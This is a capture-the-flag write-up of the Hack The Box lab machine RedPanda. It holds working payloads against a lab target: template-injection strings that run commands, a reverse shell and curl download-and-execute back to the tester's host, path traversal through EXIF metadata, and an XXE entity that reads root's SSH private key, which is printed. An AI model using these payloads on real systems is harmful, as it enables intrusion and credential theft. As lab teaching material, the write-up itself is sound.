RedPanda HTB writeup

Posted on Tue 21 February 2023 in hackthebox

This is a writeup of the machine RedPanda from Hack The Box. As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/redpanda 10.10.11.170 -Pn

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-12 07:11 EST   
Nmap scan report for 10.10.11.170                                                                                            

Host is up (0.034s latency).    
Not shown: 979 closed tcp ports (conn-refused)        
PORT     STATE    SERVICE          VERSION                                                                                                                                                                          
21/tcp   filtered ftp                                                     
22/tcp   filtered ssh                                                     
23/tcp   filtered telnet                                                  
25/tcp   filtered smtp                                                    
110/tcp  filtered pop3                                                    
111/tcp  filtered rpcbind                                                 
135/tcp  filtered msrpc                                                   
139/tcp  filtered netbios-ssn                                             
199/tcp  filtered smux                                                    
256/tcp  filtered fw1-secureremote                                        
443/tcp  filtered https                                                   
445/tcp  filtered microsoft-ds                                            
554/tcp  filtered rtsp                                                    
587/tcp  filtered submission                                              
993/tcp  filtered imaps                                                   
1025/tcp filtered NFS-or-IIS                                              
1720/tcp filtered h323q931                                                
1723/tcp filtered pptp                                                    
3306/tcp filtered mysql                                                   
5900/tcp filtered vnc
8080/tcp open     http-proxy                                                                              
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404                                                     
|     Vary: Origin                                                                                        
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Disposition: inline;filename=f.txt                                                          
|     Content-Type: application/json
|     Date: Sun, 12 Feb 2023 12:11:44 GMT
|     Connection: close                                                                                   
|     {"timestamp":"2023-02-12T12:11:44.358+00:00","status":404,"error":"Not Found","message":"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}                                                                     
|   HTTPOptions:  
|     HTTP/1.1 200                                                                                        
|     Allow: GET,HEAD,OPTIONS   
|     Content-Length: 0                                  
|     Date: Sun, 12 Feb 2023 12:11:44 GMT                                                                 
|     Connection: close         
|   RTSPRequest, Socks5:                                                                                                                                                                                                                                                                                                                                                                                                                 
|     HTTP/1.1 400                                             
|     Content-Type: text/html;charset=utf-8                                     
|     Content-Language: en                                  
|     Content-Length: 435                                                                                 
|     Date: Sun, 12 Feb 2023 12:11:44 GMT
|     Connection: close                            
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400                                                                                       
|_    Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :                                        
SF-Port8080-TCP:V=7.93%I=7%D=2/12%Time=63E8D780%P=x86_64-pc-linux-gnu%r(HT
SF:TPOptions,75,"HTTP/1\.1\x20200\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nCon
SF:tent-Length:\x200\r\nDate:\x20Sun,\x2012\x20Feb\x202023\x2012:11:44\x20
SF:GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x204
SF:00\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:
SF:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Sun,\x2012\x20Feb\x202023\
SF:x2012:11:44\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><ht
SF:ml\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x2
SF:0Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font-family
SF::Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;ba
SF:ckground-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size
SF::16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{c
SF:olor:black;}\x20\.line\x20{height:1px;background-color:#525D76;border:n
SF:one;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20
SF:Bad\x20Request</h1></body></html>")%r(FourOhFourRequest,177,"HTTP/1\.1\
SF:x20404\x20\r\nVary:\x20Origin\r\nVary:\x20Access-Control-Request-Method
SF:\r\nVary:\x20Access-Control-Request-Headers\r\nContent-Disposition:\x20
SF:inline;filename=f\.txt\r\nContent-Type:\x20application/json\r\nDate:\x2
SF:0Sun,\x2012\x20Feb\x202023\x2012:11:44\x20GMT\r\nConnection:\x20close\r
SF:\n\r\n{\"timestamp\":\"2023-02-12T12:11:44\.358\+00:00\",\"status\":404
SF:,\"error\":\"Not\x20Found\",\"message\":\"\",\"path\":\"/nice%20ports%2
SF:C/Tri%6Eity\.txt%2ebak\"}")%r(Socks5,24E,"HTTP/1\.1\x20400\x20\r\nConte
SF:nt-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r\nConte
SF:nt-Length:\x20435\r\nDate:\x20Sun,\x2012\x20Feb\x202023\x2012:11:44\x20
SF:GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en
SF:\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request
SF:</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma,Arial,s
SF:ans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:
SF:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x
SF:20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x2
SF:0\.line\x20{height:1px;background-color:#525D76;border:none;}</style></
SF:head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request<                                                                                                                                          
SF:/h1></body></html>");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.07 seconds

There are a lot of services running but the most intersting for now seems to be the Spring Boot application on http://10.10.11.170:8080/

9793086ae819f0c3d67c8adebe5ed344.png

From the title we can already see that this application was build with Spring Boot a Java Framework.

<head>
    <meta charset="utf-8">
    <meta author="wooden_k">
    <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
    <link rel="stylesheet" href="css/panda.css" type="text/css">
    <link rel="stylesheet" href="css/main.css" type="text/css">
    <title>Red Panda Search | Made with Spring Boot</title>
</head>

On the page we can see a search field. Maybe we can do Server Side Template Injection. We try to detect how we can inject template code by searching for the strings from the above linked HackTricks post:

Searching for ${7*7} we get:

05fa100dac304337364a843b842753d6.png

Searching for #{7*7} we get:

a2470093489ea17fed06eddc4394df35.png

Searching for *{7*7} we get:

5855e88a4580aa4ab40bed4a3b6aa016.png

Perfect. With this we can try to enumerate further and see whether we're able to spawn a reverse shell. Let's see if we're able to run arbitrary commands.

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('which nc').getInputStream())}

This returns the following page:

4c958d302e01fad6a2dae56116a62ba6.png

So indeed we are able to execute arbitrary commands and netcat is installed on the machine.

Reverse shell

To spawn a reverse shell we first try to connect back to our machine. For this we listen with netcat by running nc -lnvp 9001

Then we search for the following string that will run netcat to connect back.

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("nc 10.10.14.17 9001").getInputStream())}

This connects back as we can see in our spawned netcat listener. No we can try to run a shell as follows:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("bash -i >& /dev/tcp/10.10.14.17/9001 0>&1").getInputStream())}

But with this command we cannot get a connection. Let's see if curl is installed. If so we can try to use curl to spawn our reverse shell.

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('which curl').getInputStream())}

This returns /usr/bin/curl which means that curl is installed.

We can now put the same bash reverse shell in a shell script and host it with a simple python web server:

mkdir www
cd www
echo -n "bash -i >& /dev/tcp/10.10.14.17/9001 0>&1" > rev.sh
python3 -m http.server 80

Then we download the reverse shell to the target machine and execute it.

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.17/rev.sh -o /dev/shm/shell.sh").getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/shell.sh").getInputStream())}

This gives us a reverse shell.

6d2582363edd0f9fb9f33dce95cb7a2f.png

Before we try to read the user flag we upgrade the shell by running python3 -c 'import pty; pty.spawn("/bin/bash")' Then we put the shell into the background and run stty raw -echo. After that we foreground the shell again, set the stty size with stty rows $ROWS cols $COLS and export the correct terminal with export TERM=xterm. Make sure to spawn the netcat listener in a bash session and not zsh otherwise this will not work properly.

Enumerating woodenk

The user woodenk is memer of the group logs. So let's see what files the group as access to by running find / -group logs From the long list of results /opt/panda_search/redpanda.log looks interesting. If we cat the file we get the following output:

405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
404||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/favicon.ico
404||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
200||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/search

This log contains information from the HTTP requests that are send to the Spring Boot application. Let's see if we can find the code that writes to that log file: grep -re redpanda.log .

Binary file ./target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class matches
./src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java:        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);

We open the RequestInterceptor and see what the code does:

    public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
        String UserAgent = request.getHeader("User-Agent");
        String remoteAddr = request.getRemoteAddr();
        String requestUri = request.getRequestURI();
        Integer responseCode = response.getStatus();
        /*System.out.println("User agent: " + UserAgent);
        System.out.println("IP: " + remoteAddr);
        System.out.println("Uri: " + requestUri);
        System.out.println("Response code: " + responseCode.toString());*/
        System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
        BufferedWriter bw = new BufferedWriter(fw);
        bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
        bw.close();
    }

This code grabs the user agent header and writes it with the response code of the request and the address of the remote machine to the file redpanda.log.

Let's see if we find any other interesting source files with grep -re panda src/

This returns one interesting file:

src/main/java/com/panda_search/htb/panda_search/MainController.java:            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");

These are the credentials used to connect to a MySQL database. Maybe we can use these creds to login via ssh. And indeed ssh woodenk@10.10.11.170 with password RedPandazRule works.

Now we can read the user flag:

d67f7655815febd6c81d32f10b19c158.png

We further inspect the source of the panda search application. /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java Seems to parse some kind of XML. And /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java reads from redpanda.log.

It reads redpanda.log line by line and checks if the line is an image by comparing the end of the line which is the requestUri matches the extension .jpg. Then in parseLog the line is split at || and the result is saved in a Map. Afterwards, back in main, getArtist is used to search for the file name from the uri in /opt/panda_search/src/main/resources/static. The it uses JpegMetadataReader to probably read the exif data of the jpg file. The value of the Artist tag is then returned from the method. Then this artist name is use to read from an xml file in "/credits/" + artist + "_creds.xml".

Exploit

This looks interesting. We start by downloading one of the jpg images. Which we can do directly through the browser. Then we run exiftool shy.jpg:

ExifTool Version Number         : 12.55
File Name                       : zwiebel.jpg
Directory                       : .
File Size                       : 224 kB
File Modification Date/Time     : 2023:02:20 14:52:56-05:00
File Access Date/Time           : 2023:02:20 14:52:56-05:00
File Inode Change Date/Time     : 2023:02:20 14:52:56-05:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Artist                          : damian
Y Cb Cr Positioning             : Centered
Image Width                     : 832
Image Height                    : 1248
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 832x1248
Megapixels                      : 1.0

There we can see the Artist tag. We can change this with exiftool as well: exiftool -Artist=../../../../../dev/shm/zwiebel shy.jpg

Then we can upload our manipulated jpg back to the victim machine. scp shy.jpg woodenk@10.10.11.170:/dev/shm/zwiebel.jpg

If we now would request this file the java application would read the Artist tag and search for the xml file "/credits/../../../../../dev/shm/zwiebel_creds.xml"

So we need to grab one of the credits xml files and see what we can do with that: cat /credits/damian_creds.xml

We can only read this file through the reverse shell since user is is logs group. If we log in via ssh woodenk isn't in that group.

<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/shy.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/crafty.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/peter.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>2</totalviews>
</credits>

The xml contains view counts for the author damian. Maybe we can do an XEE attack.

So we create /dev/shm/zwiebel_creds.xml with the following contents:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///root/.ssh/id_rsa" > ]>
<credits>
  <author>zwiebel</author>
  <image>
    <uri>/../../../../../../dev/shm/zwiebel.jpg</uri>
    <views>2</views>
    <data>&ext;</data>
  </image>
  <totalviews>3</totalviews>
</credits>

If the xml file is opened the external entity is use to read root's ssh private key. Let's see if this works by adding the folloring entry to /opt/panda_search/redpanda.log:

echo '200||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../dev/shm/zwiebel.jpg' > /opt/panda_search/redpanda.log' > /opt/panda_search/redpanda.log

Then after a short while we read /dev/shm/zwiebel_creds.xml again:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>zwiebel</author>
  <image>
    <uri>/../../../../../../dev/shm/zwiebel.jpg</uri>
    <views>3</views>
    <data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</data>
  </image>
  <totalviews>4</totalviews>
</credits>

And there we have the private key.

We can use this to login as root and read the rood flag.